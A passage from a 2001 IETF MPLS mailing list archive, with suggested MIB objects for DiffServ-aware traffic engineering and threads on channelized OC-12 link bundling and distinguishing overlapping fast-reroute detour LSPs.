	indicate the PSC (section 5.2.2) for L-LSPs.

	It also allows the provision by which user can specify the
	bandwidth associated with each of these PSCs.

	It allows the LSR to perform admission control to ensure
	that constraints on the availability of bandwidth for
	relevant PSC.[Appendix -B.2]

	(I am aware of the fact that to have MIB support for this
	draft needs more work (E-LSP etc), but that discussion
	is beyond the context).

	--> The suggested changes allows for this support. 

	(b) mpls-diff-te-reqts-00 + ospf-diff-te-00
	-------------------------------------------
	As the reqts-00 draft points out, at its finest granularity
	each class-type TE is degenerated into a single Diff-Serv
	class.

	This draft allows, per-class parameters into the per-Class-Type
	parameter for scalability of IGP link state adv.

	--> The suggested changes allows for this support. 

	(c) mpls-diff-te-ext-01
	----------------------
	Allows the class-type to be signaled in the during connection
	setup.

	[Personally, I think this information is redundant, specifically
	for L-LSPs, but I may be wrong.]

	--> The suggested changes allows for this support.

(2) Does not restrict the user from deciding the number of class-types
he wants to support in his domain.


Changes suggested:
-------------------
[This changes listed here just to get the idea across and may not be
syntactically correct or complete.]

(1)
--Add the ability for the user to specify the PSC associated with
--a L-LSP. Logically, this field belongs to the extension of the
--mplsXCTable and mplsTunnelTable (=>mplsDsTeLspTable or equivalent)


mplsDsTeLspPSC OBJECT-TYPE
	SYNTAX	Integer	--16bit value [mpls-diff-ext-07, 5.2.2]

mplsDsTeTunPSC OBJECT-TYPE
	SYNTAX	Integer	--16bit value [mpls-diff-ext-07, 5.2.2]
		
(2) 
--Add the ability to specify the bandwidth requirement for each class
--(mpls-diff-ext-07)
--Add the ability to group per class parameters to per-class-type
--parameters


--
--PSC (class) to class-type mapping (per interface mapping
--or should they be per LSR ?)
--

mplsDsPscToClassTypeEntry OBJECT-TYPE
   MAX-ACCESS    not-accessible
   STATUS        current
   DESCRIPTION ""
   INDEX { mplsInterfaceConfIndex, psc }
   ::= { mplsDsPscToClassTypeTable 1 }

MplsDsPscToClassTypeEntry ::= SEQUENCE {
	psc		Unsigned16,    --16bit value [mpls-diff-ext-07]
	classType   Integer(0..64) --[mpls-diff-te-reqts-00]
}


--
--per class-type bandwidth requirement (per interface mapping)
--

mplsDsClassTypeEntry OBJECT-TYPE
   MAX-ACCESS    not-accessible
   STATUS        current
   DESCRIPTION ""
   INDEX { mplsInterfaceConfIndex, classType }
   ::= { mplsDsClassTypeTable 2 }

MplsDsPscToClassTypeEntry ::= SEQUENCE {
	classType	INTEGER(0..64),
	MaxResBw	Unsigned32,
	UnResBw	Unsigned32
}


(3)
--May be we want to introduce two fields to support maximum number
--of class-types that can be supported and the number of class-types
-- currently configured.







-----Original Message-----
From: Thomas D. Nadeau [mailto:tnadeau@cisco.com]
Sent: Friday, February 23, 2001 1:41 PM
To: te-wg@UU.NET; mpls@UU.NET
Cc: tnadeau@cisco.com; flefauch@europe.cisco.com;
angela.chiu@celion.com; btownsend@tenornetworks.com;
dareks@nortelnetworks.com; martin.tatham@bt.com
Subject: draft-nadeau-mpls-ds-te-mib-00.txt



	Hi,

	FYI a new MIB for managing MPLS DiffServ-Aware TE
has been posted. This document goes along with the other
four DiffServ-Aware TE documents which have been adopted
in the MPLS, TE, ISIS and OSPF WGs. It should be available
shortly via the IETF's web site. In the meantime, it is
available at the following web/ftp link. As usual, comments
are welcome.

ftp://anonymous@ftp-eng.cisco.com/ftp/tnadeau/draft-nadeau-mpls-ds-te-mib-00
.txt

	--Tom


From owner-mpls@UU.NET  Tue May  8 16:07:31 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA06463
	for <mpls-archive@lists.ietf.org>; Tue, 8 May 2001 16:07:30 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoea13362;
	Tue, 8 May 2001 20:06:30 GMT
Received: by mail-control.mail.uu.net 
	id QQkoea18485
	for mpls-outgoing; Tue, 8 May 2001 20:05:57 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkoea18114
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 20:05:40 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoea08329
	for <mpls@uu.net>; Tue, 8 May 2001 20:04:05 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkoea13070
	for <mpls@uu.net>; Tue, 8 May 2001 20:04:05 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id QAA10145 for mpls@uu.net; Tue, 8 May 2001 16:04:04 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkoea16430
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 20:03:33 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkoea11976
	for <mpls@UU.NET>; Tue, 8 May 2001 20:02:49 GMT
Received: from netmail2.alcatel.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: netmail2.alcatel.com [128.251.168.51])
	id QQkoea05890
	for <mpls@UU.NET>; Tue, 8 May 2001 20:02:49 GMT
Received: from auds953.usa.alcatel.com (auds953.usa.alcatel.com [143.209.238.6])
	by netmail2.alcatel.com (8.9.1/8.9.1) with ESMTP id PAA18259;
	Tue, 8 May 2001 15:02:48 -0500 (CDT)
Received: from usa.alcatel.com (localhost [127.0.0.1])
	by auds953.usa.alcatel.com (8.10.2/8.10.2) with ESMTP id f48K2lT29966;
	Tue, 8 May 2001 15:02:48 -0500 (CDT)
Message-ID: <3AF850B2.B57DB97A@usa.alcatel.com>
Date: Tue, 08 May 2001 15:01:54 -0500
From: sambasiva mantha <sambu.mantha@usa.alcatel.com>
Organization: Alcatel
X-Mailer: Mozilla 4.73 [en]C-ANS 1.02  (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Lou Berger <lberger@movaz.com>
CC: ccamp@ops.ietf.org, mpls@UU.NET
Subject: Re: new rev of GMPLS signaling I-Ds
References: <4.3.2.7.2.20010417170633.02440e90@mo-ex1>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

As mentioned in the attached email, has the draft for SONET/SDH published yet?

Thanks

Sambu


Lou Berger wrote:

> All,
>          It looks like the I-D folks are out (and not publishing) for a few
> days.  For those interested updated versions of the generalized signaling
> docs, they are available at:
>
> http://www.labn.net/docs/draft-ietf-mpls-generalized-signaling-03.txt
> http://www.labn.net/docs/draft-ietf-mpls-generalized-rsvp-te-02.txt
> http://www.labn.net/docs/draft-ietf-mpls-generalized-cr-ldp-02.txt
>
> Per the last IETF, these drafts don't include SONET/SDH specifics.  A new
> draft covering the specifics will be published in a few days.
>
> Lou (and co-authors)
>
> >Subject: Autoreply from Internet Draft Submission Manager
> >From: ietfauto@ietf.org (Internet Draft Submission Manager)
> >
> >Hello,
> >
> >This message is being sent to acknowledge receipt of your submission
> >or message to internet-drafts@ietf.org
> >
> >The I-D administrator will be out of the office until Monday,
> >April 23rd. All submissions will be processed.
> >
> >Thank you. We appreciate your understanding and patience.



From owner-mpls@UU.NET  Tue May  8 16:23:36 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA06842
	for <mpls-archive@lists.ietf.org>; Tue, 8 May 2001 16:23:36 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoeb08115;
	Tue, 8 May 2001 20:23:20 GMT
Received: by mail-control.mail.uu.net 
	id QQkoeb28667
	for mpls-outgoing; Tue, 8 May 2001 20:22:46 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkoeb28662
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 20:22:40 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkoeb06222
	for <mpls@UU.NET>; Tue, 8 May 2001 20:22:13 GMT
Received: from alpha.tellium.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alpha.tellium.com [151.198.92.2])
	id QQkoeb11884
	for <mpls@UU.NET>; Tue, 8 May 2001 20:22:11 GMT
Received: from mail1.tellium.com (mail1 [151.198.92.140])
	by alpha.tellium.com (Switch-2.0.1/Switch-2.0.1) with ESMTP id f48KJxS17594;
	Tue, 8 May 2001 16:19:59 -0400 (EDT)
Received: by mail1.tellium.com with Internet Mail Service (5.5.2650.21)
	id <K36S1GNW>; Tue, 8 May 2001 16:24:08 -0400
Message-ID: <0CD7D73C734BD411AEE100B0D0220404019821CE@mail1.tellium.com>
From: Bala Rajagopalan <BRaja@tellium.com>
To: "'Fong, Man Wing'" <MFong@WhiteRockNetworks.com>, mpls@UU.NET,
        "'Kireeti Kompella'" <kireeti@juniper.net>
Cc: ccamp@ops.ietf.org
Subject: RE: Question about logical link in Link bundling
Date: Tue, 8 May 2001 16:24:00 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk


Hello,

I'm a bit confused by the question. If you
had a channelized OC-12 link, wouldn't you
just advertise it with suitable Min Reservable
Bw values to indicate that it can carry lower
granularity traffic? In other words, why would
you introduce the notion of a "logical" link
in this case? 

REgards,

Bala Rajagopalan
Tellium, Inc.
2 Crescent Place
P.O. Box 901
Oceanport, NJ 07757-0901
Tel: (732) 923-4237
Fax: (732) 923-9804
Email: braja@tellium.com 

> -----Original Message-----
> From: Fong, Man Wing [mailto:MFong@WhiteRockNetworks.com]
> Sent: Monday, April 30, 2001 3:31 PM
> To: mpls@UU.NET; 'Kireeti Kompella'
> Cc: ccamp@ops.ietf.org
> Subject: Question about logical link in Link bundling
> 
> 
> Hi All,
> 
> From "draft-kompella-mpls-bundle-05.txt", it indicates that 
> multiple links
> between two LSRs can be bundled as a single link to improve 
> the routing
> scalability. Apparently, it can be used to bundle multiple links from
> multiple physical interfaces (e.g. multiple T1s, DS3s, OC-12s, OC-48s,
> etc...) to be a single link. However, can it be used to 
> bundle logical links
> like T1s in channelized T3, or DS3s, STS-3c in channelized 
> OC-12 interface?
> 
> Thanks.
> 
> Regards,
> Man Wing
> 
> 
> 


From owner-mpls@UU.NET  Tue May  8 18:06:37 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA08669
	for <mpls-archive@lists.ietf.org>; Tue, 8 May 2001 18:06:36 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoei27641;
	Tue, 8 May 2001 22:06:15 GMT
Received: by mail-control.mail.uu.net 
	id QQkoei05672
	for mpls-outgoing; Tue, 8 May 2001 22:05:40 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkoei05403
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 22:05:25 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoei08028
	for <mpls@UU.NET>; Tue, 8 May 2001 22:05:11 GMT
Received: from wrnxchg.Whiterocknetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailhost.whiterocknetworks.com [65.192.92.133])
	id QQkoei05032
	for <mpls@UU.NET>; Tue, 8 May 2001 22:05:11 GMT
Received: by 192-168-1-220.customer.algx.net with Internet Mail Service (5.5.2650.21)
	id <KPG82MHD>; Tue, 8 May 2001 17:04:09 -0500
Message-ID: <66E0B27B8A29D511B19600D0B744446527AE4D@192-168-1-220.customer.algx.net>
From: "Fong, Man Wing" <MFong@WhiteRockNetworks.com>
To: "'Bala Rajagopalan'" <BRaja@tellium.com>, mpls@UU.NET,
        "'Kireeti Kompella'" <kireeti@juniper.net>
Cc: ccamp@ops.ietf.org
Subject: RE: Question about logical link in Link bundling
Date: Tue, 8 May 2001 17:04:09 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Bala,

Correct me if I am wrong. For my understanding, a channelized OC-12
interface can support 12 channels (12 logical DS3 interfaces). Some even
capable of defining logical interface within those DS3 channel to support
T1. Then, each logical DS3 interfaces can create a (logical) link to the
remote routers' DS3 interfaces. The original used of the channelized OC-12
interface is to reduce the cabling and additional equipment cost and labor
cost at the central location. Since it is a channelized interface, I
believe, it would not allow the user to use it as an OC-12c interface. By
applying link bundling on that, now you can size your pipe whatever you want
upto the maximum BW (in this case, it will be STS-12c). In addition, using
O-UNI, you will get a true bandwidth on demand.

Just a thought.

Man Wing



 -----Original Message-----
From: 	Bala Rajagopalan [mailto:BRaja@tellium.com] 
Sent:	Tuesday, May 08, 2001 3:24 PM
To:	'Fong, Man Wing'; mpls@UU.NET; 'Kireeti Kompella'
Cc:	ccamp@ops.ietf.org
Subject:	RE: Question about logical link in Link bundling


Hello,

I'm a bit confused by the question. If you
had a channelized OC-12 link, wouldn't you
just advertise it with suitable Min Reservable
Bw values to indicate that it can carry lower
granularity traffic? In other words, why would
you introduce the notion of a "logical" link
in this case? 

REgards,

Bala Rajagopalan
Tellium, Inc.
2 Crescent Place
P.O. Box 901
Oceanport, NJ 07757-0901
Tel: (732) 923-4237
Fax: (732) 923-9804
Email: braja@tellium.com 

> -----Original Message-----
> From: Fong, Man Wing [mailto:MFong@WhiteRockNetworks.com]
> Sent: Monday, April 30, 2001 3:31 PM
> To: mpls@UU.NET; 'Kireeti Kompella'
> Cc: ccamp@ops.ietf.org
> Subject: Question about logical link in Link bundling
> 
> 
> Hi All,
> 
> From "draft-kompella-mpls-bundle-05.txt", it indicates that 
> multiple links
> between two LSRs can be bundled as a single link to improve 
> the routing
> scalability. Apparently, it can be used to bundle multiple links from
> multiple physical interfaces (e.g. multiple T1s, DS3s, OC-12s, OC-48s,
> etc...) to be a single link. However, can it be used to 
> bundle logical links
> like T1s in channelized T3, or DS3s, STS-3c in channelized 
> OC-12 interface?
> 
> Thanks.
> 
> Regards,
> Man Wing
> 
> 
> 


From owner-mpls@UU.NET  Tue May  8 18:13:42 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA08814
	for <mpls-archive@lists.ietf.org>; Tue, 8 May 2001 18:13:41 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoei10780;
	Tue, 8 May 2001 22:13:10 GMT
Received: by mail-control.mail.uu.net 
	id QQkoei13739
	for mpls-outgoing; Tue, 8 May 2001 22:12:34 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkoei13582
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 22:12:22 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoei27742
	for <mpls@UU.NET>; Tue, 8 May 2001 22:11:33 GMT
Received: from wrnxchg.Whiterocknetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailhost.whiterocknetworks.com [65.192.92.133])
	id QQkoei16003
	for <mpls@UU.NET>; Tue, 8 May 2001 22:11:32 GMT
Received: by 192-168-1-220.customer.algx.net with Internet Mail Service (5.5.2650.21)
	id <KPG82MH6>; Tue, 8 May 2001 17:10:30 -0500
Message-ID: <66E0B27B8A29D511B19600D0B744446527AE4E@192-168-1-220.customer.algx.net>
From: "Fong, Man Wing" <MFong@WhiteRockNetworks.com>
To: "'Bala Rajagopalan'" <BRaja@tellium.com>, mpls@UU.NET,
        "'Kireeti Kompella'" <kireeti@juniper.net>
Cc: ccamp@ops.ietf.org
Subject: RE: Question about logical link in Link bundling
Date: Tue, 8 May 2001 17:10:30 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Of course, the routers connected to the optical network will use the
channelized interfaces.

Man Wing

 -----Original Message-----
From: 	Fong, Man Wing [mailto:MFong@WhiteRockNetworks.com] 
Sent:	Tuesday, May 08, 2001 5:04 PM
To:	'Bala Rajagopalan'; mpls@UU.NET; 'Kireeti Kompella'
Cc:	ccamp@ops.ietf.org
Subject:	RE: Question about logical link in Link bundling

Bala,

Correct me if I am wrong. For my understanding, a channelized OC-12
interface can support 12 channels (12 logical DS3 interfaces). Some even
capable of defining logical interface within those DS3 channel to support
T1. Then, each logical DS3 interfaces can create a (logical) link to the
remote routers' DS3 interfaces. The original used of the channelized OC-12
interface is to reduce the cabling and additional equipment cost and labor
cost at the central location. Since it is a channelized interface, I
believe, it would not allow the user to use it as an OC-12c interface. By
applying link bundling on that, now you can size your pipe whatever you want
upto the maximum BW (in this case, it will be STS-12c). In addition, using
O-UNI, you will get a true bandwidth on demand.

Just a thought.

Man Wing



 -----Original Message-----
From: 	Bala Rajagopalan [mailto:BRaja@tellium.com] 
Sent:	Tuesday, May 08, 2001 3:24 PM
To:	'Fong, Man Wing'; mpls@UU.NET; 'Kireeti Kompella'
Cc:	ccamp@ops.ietf.org
Subject:	RE: Question about logical link in Link bundling


Hello,

I'm a bit confused by the question. If you
had a channelized OC-12 link, wouldn't you
just advertise it with suitable Min Reservable
Bw values to indicate that it can carry lower
granularity traffic? In other words, why would
you introduce the notion of a "logical" link
in this case? 

REgards,

Bala Rajagopalan
Tellium, Inc.
2 Crescent Place
P.O. Box 901
Oceanport, NJ 07757-0901
Tel: (732) 923-4237
Fax: (732) 923-9804
Email: braja@tellium.com 

> -----Original Message-----
> From: Fong, Man Wing [mailto:MFong@WhiteRockNetworks.com]
> Sent: Monday, April 30, 2001 3:31 PM
> To: mpls@UU.NET; 'Kireeti Kompella'
> Cc: ccamp@ops.ietf.org
> Subject: Question about logical link in Link bundling
> 
> 
> Hi All,
> 
> From "draft-kompella-mpls-bundle-05.txt", it indicates that 
> multiple links
> between two LSRs can be bundled as a single link to improve 
> the routing
> scalability. Apparently, it can be used to bundle multiple links from
> multiple physical interfaces (e.g. multiple T1s, DS3s, OC-12s, OC-48s,
> etc...) to be a single link. However, can it be used to 
> bundle logical links
> like T1s in channelized T3, or DS3s, STS-3c in channelized 
> OC-12 interface?
> 
> Thanks.
> 
> Regards,
> Man Wing
> 
> 
> 


From owner-mpls@UU.NET  Tue May  8 18:20:50 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA08851
	for <mpls-archive@lists.ietf.org>; Tue, 8 May 2001 18:20:49 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoej18896;
	Tue, 8 May 2001 22:20:25 GMT
Received: by mail-control.mail.uu.net 
	id QQkoej19143
	for mpls-outgoing; Tue, 8 May 2001 22:19:47 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkoej19120
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 22:19:38 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkoej14032
	for <mpls@UU.NET>; Tue, 8 May 2001 22:19:05 GMT
Received: from mailhost.avici.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [208.246.215.9])
	id QQkoej17388
	for <mpls@UU.NET>; Tue, 8 May 2001 22:19:05 GMT
Received: from aatlas-pc (aatlas-pc.avici.com [10.2.20.92])
	by mailhost.avici.com (8.11.0/8.11.0) with SMTP id f48MJ3e06242;
	Tue, 8 May 2001 18:19:03 -0400 (EDT)
Message-Id: <4.1.20010508175232.00a7d410@mailhost.avici.com>
X-Sender: aatlas@mailhost.avici.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Tue, 08 May 2001 18:15:35 -0500
To: Sanjay Wadhwa <swadhwa01@yahoo.com>
From: Alia Atlas <aatlas@avici.com>
Subject: Re: 
Cc: mpls@UU.NET
In-Reply-To: <20010426000203.94524.qmail@web11402.mail.yahoo.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-mpls@UU.NET
Precedence: bulk

Sanjay,

I am considering the same problem.  With the below topology, assume the
primary LSP is R1-R2-R3-R4-R5-R6. 

                  R7 --------- R8 -------- R9 ------- R10
                   |               |            |            |
     R1-------- R2 --------- R3 ------- R4 ------- R5 -------- R6

The backup from R2 is signalled as R2-R7-R8-R9-R4.
The backup from R3 is signalled as R3-R8-R9-R10-R5.

In the PATH messages, clearly the DETOUR object and the ERO distinguish the
two detours.  However, in the RESV, from the draft, the only way to
distinguish the two is based on the contents of the RRO.

I would suggest that it would make sense to set the "IPv4 tunnel sender
address" in the SENDER_TEMPLATE to an address of the PLR (R2 in the example
above).  This is how draft-swallow-rsvp-bypass-label-01.txt suggests
distinguishing a backup from the primary.  It has the advantage that the
"IPv4 tunnel sender address" is copied from the SENDER_TEMPLATE in the PATH
message into the FILTER_SPEC in the RESV message.

Does this make sense to you? Have you heard any other suggestions for how
to distinguish the different detours?

Thanks,
Alia

At 05:02 PM 4/25/01 -0700, Sanjay Wadhwa wrote:
>Hi
>The re-route technique mentioned in this draft talks about using the
>same sender_template for each detour LSP and the primary LSP. It is
>also restricted to use FF style. How would overlapping detours be
>handled here ?
>
>
> R1 ---- R2 ---- R3 ------ R4 ----- R5 ----- R6
>         |       o         |         o
>         |       o         |         o
>         +------ R7 -o-o-o R8 oooooooo
>
>Lets say R2 and R3 are local repairers.          
>R2-R7-R8-R4 (dashed path) provides detour for node R3.
>R3-R7-R8-R5 (bubbled path) provides a detour for R4.
>Both detours have R7-R8 as a common link. In this case you would want
>R8 to send different labels corresponding to the two detours to R7,
>since R8 needs to switch packets coming on the two detours out
>different interfaces (R8-R4 and R8-R5). If the sender_template is
>identical for the two detours how would R8 send two different labels to
>R7 (labels go with the filter-spec in RESVs. And I don't see the detour
>object being passed back in the RESV to possibly identify the detour) ?
>
>-Sanjay
>
>
>
>__________________________________________________
>Do You Yahoo!?
>Yahoo! Auctions - buy the things you want at great prices
>http://auctions.yahoo.com/




From owner-mpls@UU.NET  Tue May  8 18:23:53 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA08920
	for <mpls-archive@lists.ietf.org>; Tue, 8 May 2001 18:23:53 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoej22090;
	Tue, 8 May 2001 22:23:26 GMT
Received: by mail-control.mail.uu.net 
	id QQkoej19637
	for mpls-outgoing; Tue, 8 May 2001 22:22:31 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkoej19571
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 22:22:11 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkoej02975
	for <mpls@UU.NET>; Tue, 8 May 2001 22:20:28 GMT
Received: from longwood.cs.ucf.edu by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: longwood.cs.ucf.edu [132.170.108.1])
	id QQkoej18473
	for <mpls@UU.NET>; Tue, 8 May 2001 22:20:28 GMT
Received: from iris.cs.ucf.edu (iris [132.170.108.55])
	by longwood.cs.ucf.edu (8.11.1/8.11.1) with ESMTP id f48MKek11641
	for <mpls@UU.NET>; Tue, 8 May 2001 18:20:40 -0400 (EDT)
From: Arturo Nunez <artnpp@cs.ucf.edu>
Received: (from artnpp@localhost)
	by iris.cs.ucf.edu (8.9.3/8.9.0) id SAA11034
	for mpls@UU.NET; Tue, 8 May 2001 18:18:59 -0400 (EDT)
Message-Id: <200105082218.SAA11034@iris.cs.ucf.edu>
Subject: OFF-TOPIC:BGP7
To: mpls@UU.NET
Date: Tue, 8 May 2001 18:18:59 -0400 (EDT)
X-Mailer: ELM [version 2.5 PL3]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hello:
	Has anybody heard about BGP7 ??
	Any good site where I can search for information ??

	Best Regards

	Arturo Nunez


From owner-mpls@UU.NET  Tue May  8 20:27:00 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA10329
	for <mpls-archive@lists.ietf.org>; Tue, 8 May 2001 20:26:59 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoer02062;
	Wed, 9 May 2001 00:25:52 GMT
Received: by mail-control.mail.uu.net 
	id QQkoer08549
	for mpls-outgoing; Wed, 9 May 2001 00:25:20 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkoer08528
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 00:25:05 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoer12549
	for <mpls@uu.net>; Wed, 9 May 2001 00:24:44 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkoer20999
	for <mpls@uu.net>; Wed, 9 May 2001 00:24:43 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id UAA26157 for mpls@uu.net; Tue, 8 May 2001 20:24:43 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkoer08468
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 00:24:10 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkoer10277
	for <mpls@UU.NET>; Wed, 9 May 2001 00:22:55 GMT
Received: from alpha.tellium.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alpha.tellium.com [151.198.92.2])
	id QQkoer18472
	for <mpls@UU.NET>; Wed, 9 May 2001 00:22:54 GMT
Received: from mail1.tellium.com (mail1 [151.198.92.140])
	by alpha.tellium.com (Switch-2.0.1/Switch-2.0.1) with ESMTP id f490KnS23278;
	Tue, 8 May 2001 20:20:49 -0400 (EDT)
Received: by mail1.tellium.com with Internet Mail Service (5.5.2650.21)
	id <K36S1HQ2>; Tue, 8 May 2001 20:24:58 -0400
Message-ID: <0CD7D73C734BD411AEE100B0D022040401916351@mail1.tellium.com>
From: Debanjan Saha <DSaha@tellium.com>
To: "'Fong, Man Wing'" <MFong@WhiteRockNetworks.com>,
        Bala Rajagopalan
	 <BRaja@tellium.com>, mpls@UU.NET,
        "'Kireeti Kompella'"
	 <kireeti@juniper.net>
Cc: ccamp@ops.ietf.org
Subject: RE: Question about logical link in Link bundling
Date: Tue, 8 May 2001 20:24:49 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Fong,
You're right. A channelize OC-12 can have 12 DS-3s (STS-1)within it.
However, if all of them are terminating on
the same LSR, I'm not sure why you'll use a channelized
OC-12 and not an OC-12c.

Debanjan

-----Original Message-----
From: Fong, Man Wing [mailto:MFong@WhiteRockNetworks.com]
